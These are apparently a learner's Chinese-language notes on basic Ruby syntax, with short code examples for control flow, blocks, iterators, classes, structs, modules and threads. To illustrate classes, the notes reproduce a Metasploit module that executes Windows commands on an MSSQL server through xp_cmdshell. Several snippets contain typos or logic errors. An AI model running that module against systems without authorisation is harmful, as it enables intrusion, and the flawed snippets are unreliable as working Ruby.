Ruby语言学习笔记

Ruby语言学习笔记

  • 常量:[A-Z]开头 只能够被赋值一次
  • 局部变量:[a-z] | _ 开头
  • 类变量:@@
  • 实例变量:@
  • 全局变量:$
  • 特殊变量

  • 逻辑运算

  • 三目运算符
    a=((1==2) ? "true" : "false")
  • 分支结构

    1
    2
    3
    if a<0 then
    print "i love you"
    end
    1
    2
    3
    4
    5
    if a<0 then
    puts "i love you"
    else
    puts "i don't love you"
    end
    1
    2
    3
    4
    5
    unless a<0 then     # unless语句是if语句的否定版
    puts "i love you"
    else
    puts "i don't love you"
    end
    1
    2
    3
    4
    5
    6
    7
    if a<0 then
    puts "i love you"
    elsif a>1 then
    puts "i don't love you"
    else
    puts "you are so foolish"
    end
  • 多分支结构

    1
    2
    3
    4
    5
    6
    7
    8
    9
    a = 1
    case a
    when a<0
    puts "i love you"
    when a>1
    puts "i don't love you"
    else
    puts "this is a test"
    end
  • 循环语句

    1
    2
    3
    while a<1
    puts "i love you"
    end
  • 单行循环

    1
    2
    a = 1
    (puts i;i+=1) while i<=3
  • until循环

    1
    2
    3
    until a<1
    puts "i love you"
    end
  • for循环

    1
    2
    3
    4
    a = 1
    for a in 1..3
    puts a
    end
  • 循环控制

    1
    2
    3
    4
    break  #结束循环
    next # 同continue
    redo # 重做本次循环,不检查循环条件
    retry # 重做循环,从头开始
  • 打印输出

    1
    2
    put "i love you"  # 换行
    print "i love you" # 不换行
  • 函数使用:

    1
    2
    3
    def ruby
    puts("i love you")
    end
  • 1
    2
    3
    4
    5
    { puts "i love you"}
    # or
    do
    puts "i love you"
    end
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    def test_block
    puts "Start"
    yield
    yield
    puts "End"
    end

    test_block {puts "test_1"}
    test_block do
    puts "test_2"
    puts "test_3"
    end
    • 带参数
      1
      2
      3
      4
      5
      6
      7
      def test_block
      puts "Start"
      yield(1,2)
      yeild(2,3)
      puts "End"
      end
      test_block {|a,b| puts a+b}
  • 迭代器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    3.times{ puts "i love you"}   #循环3次
    puts "------------------"
    1.upto(9){|i| print i if i<6} #从1到9的循环满足if条件的输出
    puts "------------------"
    1.upto(9) do |x| #同上
    print x," "
    end
    9.downto(1){|i| print i if i<6} #从9到1的循环满足if条件的输出
    puts "------------------"
    0.step(12,3){|i| print i}
    (1..9).each{|i| print i if i<6} #从1到9中取出满足条件的数
    [1,2,3,4,5,6].each{|var| print var," "} #打印集合中的元素
    • 编写简单的迭代器
      1
      2
      3
      4
      5
      6
      def repeat(num,s)
      while num>0
      yeild(s)
      end
      end
      repeat(3,"i love you") {|s| puts s}
  • 过程对象(可以作为参数传递)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    def test(p)
    puts "Start"
    p.call
    puts "End"
    end
    t=proc{
    puts "i love you"
    }
    test(t)
    test(proc{puts "Do you live me?"})
  • 类的使用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    class MetasploitModule < Msf::Auxiliary   #类‘MetasploitModule’继承‘Msf::Auxiliary’
    include Msf::Exploit::Remote::MSSQL # include 引用核心库中的MSSQL

    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Microsoft SQL Server xp_cmdshell Command Execution',
    'Description' => %q{
    This module will execute a Windows command on a MSSQL/MSDE instance
    via the xp_cmdshell procedure. A valid username and password is required
    to use this module
    },
    'Author' => [ 'tebo <tebo[at]attackresearch.com>' ],
    'License' => MSF_LICENSE,
    'References' =>
    [
    [ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'],
    ]
    ))

    register_options( [
    OptString.new('CMD', [ false, 'Command to execute', 'cmd.exe /c echo OWNED > C:\\owned.exe']),
    ])
    end

    def run
    mssql_xpcmdshell(datastore['CMD'], true) if mssql_login_datastore
    end
    end
  • 数据类型

    • 正常的就不演示了,下面是几个特殊的用法

      1
      2
      3
      4
      puts 123_23    #  结果:12323     整形中的下划线会被自动省去
      puts 023 #0-八进制
      puts 0x4f #0x-十六进制
      puts 0b101010101 #0b-表示二进制
    • 这段没有试成功,还不知道是为什么

    • 数值的常用方法
  • 数学计算方法

    1
    2
    Math.cos()   #类似这种的使用的时候是用的Math库
    # 目前还不需要这一块的内容,以后需要了再看吧
  • 字符串

    • 操作一大堆,翻书查资料去吧
      1
      2
      3
      4
      5
      6
      7
      8
      #!/usr/bin/ruby
      a = "i loVe you"
      p a
      p a.upcase
      p a
      foo = a.upcase!
      p foo
      p a
  • 正则表达式

  • 日期和时间
  • 散列表
  • 区间的概念

    1
    2
    ra.Range.new(1,5,true)  #  这里的true是控制是否包含最后一个值(这里是‘5’)
    ra.each {|i| p i}
  • 数组

  • 结构体

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    #!/usr/bin/ruby
    g = Struct.new("Girl", :name, :age, :love)
    student = g.new("zhangsan", 22, "true")

    p student.values
    p student[0]
    p student[-1]
    p student.length
    p student.size
    p student.members
    p student.values
    p student.to_a
    p student.values_at(0,1)
  • 数据类型转换

    • to_ary
    • to_hash
    • to_int
    • to_s
    • to_str
    • to_f
    • to_i和to_i(base)
  • 模块 (不能实例化,可以调用)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #!/usr/bin/ruby

    module My
    NA = "China"
    def My.set_name(name)
    @name=name
    end
    def My.get_name
    return @name
    end
    def My.set_age
    @age=age
    end
    end

    My.set_name("zhangsan")

    p My.get_name
    p My::NA
  • Mixin

    • 在类中使用某个模块
      1
      2
      3
      class Test
      include MY # 这应用的是上一个例子中的module
      end
  • 引用其他模块

    1
    require 'msf/core' # 此功能类似于C语言中的include,这里可以直接是要引入的模块文件的文件名
  • 线程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #!/usr/bin/ruby
    Thread.start{
    while true
    puts 'Thread 1'
    end
    }
    while true
    puts 'Thread 2'
    end
    • 其他用法
    • 线程同步,互斥,共享数据保护等
  • 这一篇就到这后面的文件操作、数据库操作、桌面应用、web开发等详细内容,参见《Ruby入门权威指南》于天恩的书上的内容,这个笔记也是根据这个书的讲解顺序记录了一部分我目前需要掌握的部分
-------------本文结束感谢您的阅读-------------
0%